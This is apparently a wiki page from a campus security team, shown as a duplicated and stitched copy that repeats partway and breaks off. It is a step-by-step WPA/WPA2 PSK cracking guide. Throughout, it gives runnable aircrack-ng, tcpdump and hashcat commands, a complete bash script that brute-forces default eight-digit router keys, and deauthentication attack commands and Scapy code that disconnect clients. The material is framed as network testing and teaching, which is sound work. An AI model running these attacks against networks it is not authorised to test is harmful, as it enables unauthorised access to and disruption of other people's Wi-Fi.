** MAC address of a victim, wireless client using WPA2

=== Capture handshake ===

* Get handshake or connected station

sudo airodump-ng -c <channel> --bssid <bssid> -w psk wlan0mon

Explaination: -c selects the Channel on which the router is sending, --bssid is the MAC Address of the Router -w shows the Mode "PSK" and wlan0mon is the capturing device.
With this command, airodump-ng records the traffic and saves it into different *.cap files.

<div style="background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px"><b>Warning</b>: With this method, you cannot be sure that a four-way handshake was recorded. See [[#Deauthentication attack|deauthentication attack]]!</div>

=== Crack with aircrack-ng ===

* download a password list from somewhere https://github.com/danielmiessler/SecLists/blob/master/Passwords/ and issue following aircrack-ng command to crack the password

sudo aircrack-ng -w <passwordlist path> -b <bssd> psk*.cap

=== Reset network configuration ===
<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: Do not forget to turn off monitor mode and restart network manager</div>

* Stop monitor mode

sudo airmon-ng stop wlan0mon

* Restart network manager for internet access

sudo service network-manager restart

Alternatively on systemd:

sudo systemctl restart network-manager

== Without aircrack-ng (on macOS) ==

In the following, an alternative is presented, which also works under macOS. You can either use the script below or follow the manual steps. The instructions for using <nowiki>tcpdump</nowiki> instead of <nowiki>airodump-ng</nowiki>, as well as the use of <nowiki>hashcat</nowiki> (or John the ripper) instead of <nowiki>aircrack-ng</nowiki> can also be ported to Linux and has advantages over the previously listed version. Only the use of <nowiki>airport</nowiki> works exclusively on macOS.

<div class="toccolours mw-collapsible mw-collapsed" style="border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);">
<div style="line-height:1.6;">ⓘ <b>crack_WPA2_PSK.sh</b></div>
<div class="mw-collapsible-content">

<div style="border: 1px solid #8a6d3b; background-color: #fcf8e3; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px; margin-top: 5px; text-align: justify"><b>Warning</b>: In this script, <nowiki>hashcat</nowiki> is optimized to crack default TP-Link / HUAWEI PSKs in the language {0-9}[8] in maximum 15min on a decent CPU. <br>You may need to change the <nowiki>hashcat</nowiki> command at the end of the script to fit your usecase.</div>
<syntaxhighlight lang="bash">#!/bin/bash
if [[ $UID != 0 ]]; then
echo "Please run this script with sudo:"
echo "sudo $0 $*"
exit 1
fi

hr() {
local start=$'\e(0' end=$'\e(B' line='qqqqqqqqqqqqqqqq'
local cols=${COLUMNS:-$(tput cols)}
while ((${#line} < cols)); do line+="$line"; done
printf '%s%s%s\n' "$start" "${line:0:cols}" "$end"
}

banner() {
hr; printf " \033[0;31m${1}\033[0m\n"; hr
}

banner "Current network configuration"
echo ' # airport -I'
airport -I

banner "Perform a wireless broadcast scan"
echo ' # airport -s'
airport -s

banner "Enter dynamic configuration"
echo -n " CHANNEL="
read CHANNEL
echo -n " BSSID="
read BSSID
echo -n " INTERFACE="
read INTERFACE

banner "Disassociate from any network"
echo ' # airport -z'
airport -z

banner "Set arbitrary channel on the card"
echo ' # airport -c$CHANNEL'
airport -c$CHANNEL
echo ' # airport -c'
airport -c

banner "Current network configuration"
echo ' # airport -I'
airport -I

banner "Capture beacon frame"
echo ' # tcpdump "type mgt subtype beacon and ether src $BSSID" -I -c 1 -i $INTERFACE -w /tmp/beacon.cap'
tcpdump "type mgt subtype beacon and ether src $BSSID" -I -c 1 -i $INTERFACE -w /tmp/beacon.cap

banner "Capture four-way handshake"
echo ' # tcpdump "ether proto 0x888e and ether host $BSSID" -I -c 4 -i $INTERFACE -w /tmp/handshake.cap'
tcpdump "ether proto 0x888e and ether host $BSSID" -I -c 4 -i $INTERFACE -w /tmp/handshake.cap

# banner "Merge beacon frame and four-way handshake"
# Note: mergecap is part of wireshark
echo ' # mergecap -a -F pcap -w /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap'
mergecap -a -F pcap -w /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap

banner "Convert .cap file to .hccapx format to be used with hashcat"
# Note: cap2hccapx is part of hashcat-utils
echo ' # cap2hccapx /tmp/capture.cap /tmp/capture.hccapx'
cap2hccapx /tmp/capture.cap /tmp/capture.hccapx
banner "Crack WPA-EAPOL-PBKDF2 via hashcat (TP-Link/HUAWEI optimized)"
# 00000000 - 99999999
echo ' # sudo nice -n -20 hashcat -m 2500 /tmp/capture.hccapx -a 3 ?d?d?d?d?d?d?d?d'
sudo nice -n -20 hashcat -m 2500 /tmp/capture.hccapx -a 3 ?d?d?d?d?d?d?d?d

banner "Clean up"
echo ' # rm /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap /tmp/capture.hccapx'
rm /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap /tmp/capture.hccapx</syntaxhighlight>
</div>
</div>

<syntaxhighlight lang="bash">airport -h
Supported arguments:
-c[<arg>] --channel=[<arg>] Set arbitrary channel on the card
-z --disassociate Disassociate from any network
-I --getinfo Print current wireless status, e.g. signal info, BSSID, port type etc.
-s[<arg>] --scan=[<arg>] Perform a wireless broadcast scan.
Will perform a directed scan if the optional <arg> is provided
-x --xml Print info as XML
-P --psk Create PSK from specified pass phrase and SSID.
The following additional arguments must be specified with this command:
--password=<arg> Specify a WPA password
--ssid=<arg> Specify SSID when creating a PSK
-h --help Show this help</syntaxhighlight>

<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: <i>airmon-ng</i>, <i>airodump-ng</i> and <i>aireplay-ng</i> don't work on mac.</div>
<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: <i>airport</i> works exclusively on mac.</div>

=== Capture Beacon ===
<syntaxhighlight lang="bash"># Scan
sudo airport -s
SSID BSSID RSSI CHANNEL HT CC SECURITY (auth/unicast/group)
▊▊▊▊▊▊▊▊ 70:3a:cb:▊▊:▊▊:▊▊ -72 11 Y de WPA2 (PSK/AES/AES)
▊▊▊▊▊▊▊▊ 70:3a:cb:▊▊:▊▊:▊▊ -57 1 Y de WPA2 (PSK/AES/AES)
▊▊▊▊▊▊▊▊ 70:3a:cb:▊▊:▊▊:▊▊ -66 36 Y de WPA2 (PSK/AES/AES)</syntaxhighlight>

=== Capture Handshake ===
==== The Easy way ====
<syntaxhighlight lang="bash"># Sniff - Ctrl-C to stop capturing
sudo airport $INTERFACE sniff $CHANNEL</syntaxhighlight>

<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: It saves the .cap capture file to /tmp and displays the path plus filename.</div>
<div style="background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px"><b>Warning</b>: With this method, you cannot be sure that a four-way handshake was recorded. See [[#Deauthentication attack|deauthentication attack]]!</div>

==== The Good way ====
<p style="text-align: justify">By using <i>airmon-ng</i> or <i>airport</i> a large number of unnecessary packets are captured. Also, you cannot know for sure if a handshake has been intercepted until you manually abort the scan. This process can be improved with <i>tcpdump</i>.</p>

<syntaxhighlight lang="bash"># Disassociate from any network: (-z --disassociate)
sudo airport -z
# Set arbitrary channel on the card: (-c[<arg>] --channel=[<arg>])
sudo airport -c$CHANNEL

# Capture a beacon frame from the AP
sudo tcpdump "type mgt subtype beacon and ether src $BSSID" -I -c 1 -i $INTERFACE< -w beacon.cap
# Wait for the WPA handshake
sudo tcpdump "ether proto 0x888e and ether host $BSSID" -I -U -vvv -i $INTERFACE -w handshake.cap

# Merge the two files
mergecap -a -F pcap -w capture.cap beacon.cap handshake.cap</syntaxhighlight>

<div style="background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px"><b>Warning</b>: With this method, tcpdump will make sure too wait until a four-way handshake was recorded. See [[#Deauthentication attack|deauthentication attack]] for more information! A beacon should however be captured quite fast.</div>

=== Crack PSK ===
The .cap file obtained in the previous steps can only be cracked directly with <i>aircrack-ng</i>. But this can be done more effectively using <i>hashcat</i>.

<syntaxhighlight lang="bash"># Convert .cap to .hcapx file (Part of hashcat-utils)
cap2hccapx capture.cap capture.hccapx</syntaxhighlight>

<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: Alternatively, use the tool online: https://hashcat.net/cap2hccapx/</div>

<syntaxhighlight lang="bash"># Crack using a simple dictionary attack:
hashcat -m 2500 capture.hccapx wordlist.txt</syntaxhighlight>

<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: Refer to the [https://hashcat.net/wiki/doku.php?id=cracking_wpawpa2 official Hashcat documentation] for more examples and variations to crack the PSK.</div>

== Deauthentication attack ==

<p style="text-align: justify">Use one of the methods below to force devices on the target network, if any, to de-authenticate. When re-authenticating, a
four-way handshake is exchanged between the client and the AP, which can be captured easily. The deauthenticated target may only remark a short network disruption, but nothing more. This attack is only feasible for WPA/WPA2 *PSK*, as WPA3 and other authentication methods are not vulnerable.</p>

<div class="toccolours mw-collapsible mw-collapsed" style="border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px); margin-bottom: 5px">
<div style="line-height:1.6;">ⓘ <b>Example</b>: Four-Way Handshake (4WHS)</div>
<div class="mw-collapsible-content">

<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: A four-way handshake can be analysed using Wireshark or <code>tcpdump</code>, filtering for <code>eapol</code> messages or better filtering for <code>ether proto 0x888e and ether host $BSSID</code></div>

<syntaxhighlight lang="bash"> # link-type IEEE802_11_RADIO (802.11 plus radiotap header)
tcpdump "ether proto 0x888e and ether host $BSSID" -I -c 4 -i en0 -vvv -e -A -XX</syntaxhighlight>

<gallery caption="" mode="packed-hover" style="border: 1px solid #eaecf0; background-color: white; border-radius: 3px" heights=400px>
image:4WH_1.png|4WHS (Message 1 of 4)
</gallery>

<nowiki>tsft 1.0 Mb/s 2422 MHz 11g -46dBm signal -91dBm noise antenna 0 314us CF +QoS DA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 99: EAPOL key (3) v1, len 95
0x0000: 0000 3600 6f08 00c0 0100 0040 c46e 00fc ..6.o......@.n..
0x0010: 8165 aa01 0000 0000 1002 7609 8004 d2a5 .e........v.....
0x0020: 0000 0010 1800 0300 0200 0000 0010 1803 ................
0x0030: 0400 d7a9 938d 8802 3a01 40d3 ae63 32dc ........:.@..c2.
0x0040: 98da c46e 00fc 98da c46e 00fc 0000 0000 ...n.....n......
0x0050: aaaa 0300 0000 888e 0103 005f 0200 8a00 ..........._....
0x0060: 1000 0000 0000 0000 01ff e614 7014 d7a9 ............p...
0x0070: 6e6c 5e24 b316 59fe 535f 3c12 c4f9 59f1 nl^$..Y.S_<...Y.
0x0080: e125 8fce 7dc3 1325 a900 0000 0000 0000 .%..}..%........
0x0090: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x00a0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x00b0: 0000 0000 0000 0000 0000 0041 e6a6 5d ...........A..]</nowiki>

<gallery caption="" mode="packed-hover" style="border: 1px solid #eaecf0; background-color: white; border-radius: 3px" heights=530px>
image:4WH_2.png|4WHS (Message 2 of 4)
</gallery>

<nowiki>tsft 1.0 Mb/s 2422 MHz 11g -20dBm signal -91dBm noise antenna 0 314us CF +QoS BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) DA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 121: EAPOL key (3) v1, len 117
0x0000: 0000 3600 6f08 00c0 0100 0040 c46e 00fc ..6.o......@.n..
0x0010: 1a76 aa01 0000 0000 1002 7609 8004 eca5 .v........v.....
0x0020: 0001 0010 1800 0300 0200 0000 0010 1803 ................
0x0030: 0400 4355 fdb7 8801 3a01 98da c46e 00fc ..CU....:....n..
0x0040: 40d3 ae63 32dc 98da c46e 00fc 0000 0600 @..c2....n......
0x0050: aaaa 0300 0000 888e 0103 0075 0201 0a00 ...........u....
0x0060: 0000 0000 0000 0000 01bc 67eb 5bfb 4355 ..........g.[.CU
0x0070: f0cc b3f9 bfe5 609d 611e b79f 7451 ccb8 ......`.a...tQ..
0x0080: 841c 7d17 dde7 0c47 3300 0000 0000 0000 ..}....G3.......
0x0090: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x00a0: 0000 0000 0000 0000 0051 17b2 89fc 6428 .........Q....d(
0x00b0: 2564 ab92 3571 a67f af00 1630 1401 0000 %d..5q.....0....
0x00c0: 0fac 0401 0000 0fac 0401 0000 0fac 0200 ................
0x00d0: 0010 afc4 e7 .....</nowiki>

<gallery caption="" mode="packed-hover" style="border: 1px solid #eaecf0; background-color: white; border-radius: 3px" heights=400px>
image:4WH_3.png|4WHS (Message 3 of 4)
</gallery>

<nowiki>tsft 1.0 Mb/s 2422 MHz 11g -46dBm signal -91dBm noise antenna 0 314us CF +QoS DA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 155: EAPOL key (3) v1, len 151
0x0000: 0000 3600 6f08 00c0 0100 0040 c46e 00fc ..6.o......@.n..
0x0010: 6f80 aa01 0000 0000 1002 7609 8004 d2a5 o.........v.....
0x0020: 0013 0010 1800 0300 0200 0000 0010 1803 ................
0x0030: 0400 d7a9 e7e8 8802 3a01 40d3 ae63 32dc ........:.@..c2.
0x0040: 98da c46e 00fc 98da c46e 00fc 1000 0000 ...n.....n......
0x0050: aaaa 0300 0000 888e 0103 0097 0213 ca00 ................
0x0060: 1000 0000 0000 0000 02ff e614 7014 d7a9 ............p...
0x0070: 6e6c 5e24 b316 59fe 535f 3c12 c4f9 59f1 nl^$..Y.S_<...Y.
0x0080: e125 8fce 7dc3 1325 a900 0000 0000 0000 .%..}..%........
0x0090: 0000 0000 0000 0000 0000 0100 0000 0000 ................
0x00a0: 0000 0000 0000 0000 00e4 ef65 1d4f f0c1 ...........e.O..
0x00b0: 62be d858 a5ed dab9 bf00 38de c04c 2c9d b..X......8..L,.
0x00c0: 9696 fe73 cfd1 8927 51cd 07ed f4ee c8a4 ...s...'Q.......
0x00d0: 8e5b 96a4 733a d9dc 6c0c e352 f3a2 f1c6 .[..s:..l..R....
0x00e0: 4a7a 2fde e3d3 9d29 e8ea 169e 551e 73b3 Jz/....)....U.s.
0x00f0: 43f9 a8a8 bc98 d2 C......</nowiki>

<gallery caption="" mode="packed-hover" style="border: 1px solid #eaecf0; background-color: white; border-radius: 3px" heights=400px>
image:4WH_4.png|4WHS (Message 4 of 4)
</gallery>

<nowiki>tsft 1.0 Mb/s 2422 MHz 11g -20dBm signal -91dBm noise antenna 0 314us CF +QoS BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) DA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 99: EAPOL key (3) v1, len 95
0x0000: 0000 3600 6f08 00c0 0100 0040 c46e 00fc ..6.o......@.n..
0x0010: cc8d aa01 0000 0000 1002 7609 8004 eca5 ..........v.....
0x0020: 0003 0010 1800 0300 0200 0000 0010 1803 ................
0x0030: 0400 0000 938d 8801 3a01 98da c46e 00fc ........:....n..
0x0040: 40d3 ae63 32dc 98da c46e 00fc 1000 0600 @..c2....n......
0x0050: aaaa 0300 0000 888e 0103 005f 0203 0a00 ..........._....
0x0060: 0000 0000 0000 0000 0200 0000 0000 0000 ................
0x0070: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0080: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0090: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x00a0: 0000 0000 0000 0000 0009 4d26 1f94 47b2 ..........M&..G.
0x00b0: 8fcb 0e44 a9b7 3cea 4500 002c f10f 7c ...D..<.E..,..|</nowiki>

</div>
</div>

<div style="background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px"><b>Warning</b>: Deauther are often mistakenly described as a jammer, even though that is not the case.</div>

=== Aircrack-ng ===
<syntaxhighlight lang="bash">aireplay-ng -0 1 -a $BSSID -c $VICTIM_MAC wlan0mon</syntaxhighlight>

=== Scapy ===

Use this automated [https://github.com/veerendra2/wifi-deauth-attack script] using <code>aircrack-ng</code> and <code>scapy</code>. Alternatively use <code>scapy</code> to manually execute a deauthentication attack, as shown below.

<syntaxhighlight lang="python"># Configuration
station = "ff:ff:ff:ff:ff:ff"
bssid = "00:00:00:00:00:00"
interface = "wlan0mon"

# Craft and send 802.11 frame
dot11 = Dot11(addr1=station, addr2=bssid, addr3=bssid)
packet = RadioTap()/dot11/Dot11Deauth(reason=7)
sendp(packet, inter=0.1, count=1, iface=interface, verbose=1)</syntaxhighlight>

<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: <code>$STA</code> may be <code>ff:ff:ff:ff:ff:ff</code>. MAC’s must be lowercase!</div>

=== D-Stike Deauther ===
<p style="text-align: justify">D-Stike provides a range of ESP8266 based development board, which come installed with the latest ESP8266 Deauther software developed by Spacehuhn. The source code is availabel on Github. With this software, you can perform different attacks to test WiFi networks. One of them is the deauthentication attack. </p>
* https://github.com/spacehuhn/esp8266_deauther

=== Other tools ===
<p style="text-align: justify">JamWiFi is a Software with GUI, which allows you to select one or more nearby wireless networks, thereupon presenting a list of clients which are currently active on the network(s). Furthermore, JamWiFi allows you to disconnect clients by performing a deauthentication attack.</p>
* https://github.com/unixpickle/JamWiFi
* https://github.com/0x0XDev/JamWiFi

= Used Hardware =

* Notebook, Ubuntu 18.04 bionic amd64, Intel Wireless (Intel AC-7260)
* Lenovo Thinkpad X1 Yoga G2, Kali Linux 2020.4, Intel Wireless (Intel AC-8265)
* MacBook Pro (15-inch, 2017), macOS 10.14.6, Airport Extreme (Broadcom BCM43xx)
* MacBook Pro (16-inch, 2019), macOS 11.1, Airport Extreme (Broadcom BCM4364)
* DSTIKE Deauther Watch V1
* HP ZBook Fury 16 G9 Mobile Workstation, Arch Linux, Intel Wireless (Alder Lake-S PCH CNVi WiFi)

= Courses =

* [[Campus Cyber Security Team]] WiFi Hacking 21.06.2019

= References =

* https://www.aircrack-ng.org/doku.php?id=cracking_wpa (Accessed 10. April 2020)
* https://www.aircrack-ng.org/doku.php#aircrack-ng_suite1 (Accessed 10. April 2020)
* https://www.netspotapp.com/wifi-encryption-and-security.html (Accessed 10. April 2020)
* https://louisabraham.github.io/articles/WPA-wifi-cracking-MBP.html (Accessed 10. April 2020)
* http://www.saltwaterc.eu/capturing-wpa-handshakes-with-os-x.html (Accessed 10. April 2020)
* https://github.com/brannondorsey/wifi-cracking (Accessed 10. April 2020)
* https://hashcat.net/cap2hccapx/ (Accessed 10. April 2020)
* https://hashcat.net/wiki/doku.php?id=cracking_wpawpa2 (Accessed 10. April 2020)
* https://github.com/derv82/wifite2 (Accessed 20. January 2021)

[[Category:Documentation]]

</div>

WPA/WPA2 PSK deauthentication attack

2024-12-18T17:59:54Z

RSchuller: /* Used Hardware */

<div style="max-width: 970px">

<div class="toccolours mw-collapsible mw-collapsed" style="border-color: #eaecf0; background-color: white; overflow:auto;">
<div style="font-weight: normal;line-height:1.6;">ⓘ Table of Contents</div>
<div class="mw-collapsible-content">
__TOC__
</div>
</div>

= Summary =

<p style="text-align: justify">How to sniff a WPA/WPA2 handshake using a deauthentication attack and crack the Pre-Shared Key (PSK). Aircrack-ng forms a versatile application suite for analyzing and attacking wireless networks but is not the only option in this game. This guide will use GNU/Linux to demonstrate how to use aircrack-ng and macOS to show that this process can be done more efficiently without aircrack-ng. Anyway, these processes can be mixed to get the best process for your situation.</p>

= TL;DR =

<p style="text-align: justify">For those using Kali Linux (>2020.1), you may stop here since most major tools used for WiFi cracking are already installed. Moreover, <code>[https://github.com/derv82/wifite2 wifite]</code> is designed to use all known methods for retrieving the password of a wireless access point. Wifite runs existing wireless-auditing tools for you. Stop memorizing command arguments & switches! Run wifite, select your targets, and Wifite will automatically start trying to capture or crack the password.</p>

<syntaxhighlight lang="bash"># Generic: One command to rule them all
sudo wifite

# Specific: WPA/2 Offline Brute-Force Attack via 4-Way Handshake capture
sudo wifite --wpa --no-wps --no-pmkid</syntaxhighlight>

= Requirements =
== Mandatory ==
=== GNU/Linux ===
- Install aircrack-ng suite:
* Debian based distributions: <code>sudo apt install aircrack-ng</code>
* Arch based distributions: <code>sudo pacman -S aicrack-ng</code>

=== macOS ===
* Optional: Install <i>aircrack-ng</i> suite: <code>brew install aircrack-ng</code>
* Install <i>tcpdump</i>: <code>brew install tcpdump</code>
* Install <i>wireshark</i> to use <i>mergecap</i>: <code>brew install wireshark</code>
* Enable 'hidden' airport feature: <code>sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/local/bin/airport</code>

== Optional ==
=== Hashcat ===
* Clone GIT repository: <code>git clone https://github.com/hashcat/hashcat.git</code>
* Build: <code>cd ./hashcat && make && make install</code>
* Link: <code>sudo ln -s ./hashcat /usr/local/bin/hashcat</code>

=== Scapy ===
* Install: <code>pip install scapy</code>

= Background =
== Problem==
<p style="text-align: justify">Attacks on wireless networks use the advantage that the WLAN protocol (IEEE 802.11) is not encrypted. Only the payload is encrypted. In the case of WPA2, this is usually done using AES. To exploit this weakness, a beacon frame must be intercepted by the hacker to identify the name (BSSID), MAC address (SSID) and channel (radio frequency) of the target access point. Afterwards, this information can be used to sniff packets from that network as desired. To get full access to the network, the WPA2 Pre-shared Key (PSK) is still required. To get it, only 3 steps are necessary, plus some time:</p>
# Sniff a beacon management frame containing all information about the network
# Sniff a four-way hanshake containing dynamic payload encryption keys
# Crack the PSK offline, using data dumps acquired in the previous steps
<p style="height: 2px"></p>
<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: Intercepting a four-way handshake requires at least one authenticated device on the target network. </div>
<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: The first 2 steps have to be done in range of the target network. The last step takes the longest, but has the advantage that it can be executed anywhere.</div>

==Solution==
<p style="text-align: justify">The most recent encryption standard WPA3 is designed to protect against such offline dictionary attacks to guess the password, since an attack has unlimited attempts to guess the PSK by implementing a new key exchange protocol. WPA2 used an imperfect four-way handshake between clients and access points to enable encrypted connections. WPA3 will eliminate this vulnerability in favor of more secure and widely verified simultaneous authentication through equal handshake. Additionally, this new handshake supports forward-secrecy.</p>

= Procedure =

== With aircrack-ng (on GNU/Linux) ==

<table class="wikitable" style="background-color: white; margin-left: 30px;">
<tr style="background-color: grey; font-weight: bold; border-color: black">
<td style="border-color: black">Application</td>
<td style="border-color: black">Description</td>
</tr>
<tr>
<td style="background-color: darkgrey; border-color: black">aircrack-ng</td>
<td style="background-color: white;border-color: black">802.11 WEP and WPA/WPA2-PSK key cracking program.</td>
</tr>
<tr style="line-height: 15px">
<td style="background-color: white; border: none"></td>
<td style="background-color: white; border: none"></td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airbase-ng</td>
<td style="background-color: white;border-color: black">Aimed at attacking clients as opposed to the AP itself.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airdecap-ng</td>
<td style="background-color: white;border-color: black">Decrypt WEP/WPA/WPA2 capture files.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airdecloak-ng</td>
<td style="background-color: white;border-color: black">Remove WEP CloakingTM from a packet capture file.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airdrop-ng</td>
<td style="background-color: white;border-color: black">A rule based wireless deauthication tool.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">aireplay-ng</td>
<td style="background-color: white;border-color: black">Inject and replay wireless frames.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airgraph-ng</td>
<td style="background-color: white;border-color: black">Graph wireless networks.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airmon-ng</td>
<td style="background-color: white;border-color: black">Enable and disable monitor mode on wireless interfaces.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airodump-ng</td>
<td style="background-color: white;border-color: black">Capture raw 802.11 frames.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airolib-ng</td>
<td style="background-color: white;border-color: black">Precompute WPA/WPA2 passphrases.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airserv-ng</td>
<td style="background-color: white;border-color: black">Wireless card TCP/IP server to use wit multiple applications.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airtun-ng</td>
<td style="background-color: white;border-color: black">Virtual tunnel interface creator.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">packetforge-ng</td>
<td style="background-color: white;border-color: black">Create encrypted packets that can be used for injection.</td>
</tr>
</table>

=== Put your interface in monitor mode ===

* Use airmon-ng to put interface in monitor mode. You can see, that the interface is called wlan0. On different devices or system configurations wlan0 could be a different device name.

sudo airmon-ng
PHY Interface Driver Chipset
phy0 wlan0 iwlwifi Intel Corporation Wireless 7260 (rev 83)

* First we need to set interface in monitor mode `iw wlan0 del` and execute the command :

sudo airmon-ng
Found phy0 with no interfaces assigned, would you like to assign one to it? [y/n] y
PHY Interface Driver Chipset
phy0 wlan0mon iwlwifi Intel Corporation Wireless 7260 (rev 83)

* Kill all processes which use physical device. Info: If you have a different connection via Ethernet and you are using NetworkManager your Ethernet connection still works.

sudo airmon-ng check kill
Killing these processes:
PID Name
895 wpa_supplicant

* Start in monitor mode

sudo airmon-ng start wlan0mon 9

Alternatively create a monitoring device by using:

sudo airmon-ng start wlan0

If you use the commands `ip a` or the, on GNU/Linux systems old, `ifconfig` command you can see that airmon-ng has generated a new device called "wlan0mon" or on a different setup <YOUR DEVICE NAME>mon. This is the actual monitoring device.

=== Capture Beacon ===

* using wireshark or airodump-ng

sudo airodump-ng wlan0mon

* You will need:
** BSSID (MAC address of access point): <bssid>
** Access point channel: <channel>
** MAC address of a victim, wireless client using WPA2

=== Capture handshake ===

* Get handshake or connected station

sudo airodump-ng -c <channel> --bssid <bssid> -w psk wlan0mon

<div style="background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px"><b>Warning</b>: With this method, you cannot be sure that a four-way handshake was recorded. See [[#Deauthentication attack|deauthentication attack]]!</div>

=== Crack with aircrack-ng ===

* download a password list from somewhere https://github.com/danielmiessler/SecLists/blob/master/Passwords/ and issue following aircrack-ng command to crack the password

sudo aircrack-ng -w <passwordlist path> -b <bssd> psk*.cap

=== Reset network configuration ===
<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: Do not forget to turn off monitor mode and restart network manager</div>

* Stop monitor mode

sudo airmon-ng stop wlan0mon

* Restart network manager for internet access

sudo service network-manager restart

Alternatively on systemd:

sudo systemctl restart network-manager

== Without aircrack-ng (on macOS) ==

In the following, an alternative is presented, which also works under macOS. You can either use the script below or follow the manual steps. The instructions for using <nowiki>tcpdump</nowiki> instead of <nowiki>airodump-ng</nowiki>, as well as the use of <nowiki>hashcat</nowiki> (or John the ripper) instead of <nowiki>aircrack-ng</nowiki> can also be ported to Linux and has advantages over the previously listed version. Only the use of <nowiki>airport</nowiki> works exclusively on macOS.

<div class="toccolours mw-collapsible mw-collapsed" style="border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);">
<div style="line-height:1.6;">ⓘ <b>crack_WPA2_PSK.sh</b></div>
<div class="mw-collapsible-content">

<div style="border: 1px solid #8a6d3b; background-color: #fcf8e3; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px; margin-top: 5px; text-align: justify"><b>Warning</b>: In this script, <nowiki>hashcat</nowiki> is optimized to crack default TP-Link / HUAWEI PSKs in the language {0-9}[8] in maximum 15min on a decent CPU. <br>You may need to change the <nowiki>hashcat</nowiki> command at the end of the script to fit your usecase.</div>
<syntaxhighlight lang="bash">#!/bin/bash
if [[ $UID != 0 ]]; then
echo "Please run this script with sudo:"
echo "sudo $0 $*"
exit 1
fi

hr() {
local start=$'\e(0' end=$'\e(B' line='qqqqqqqqqqqqqqqq'
local cols=${COLUMNS:-$(tput cols)}
while ((${#line} < cols)); do line+="$line"; done
printf '%s%s%s\n' "$start" "${line:0:cols}" "$end"
}

banner() {
hr; printf " \033[0;31m${1}\033[0m\n"; hr
}

banner "Current network configuration"
echo ' # airport -I'
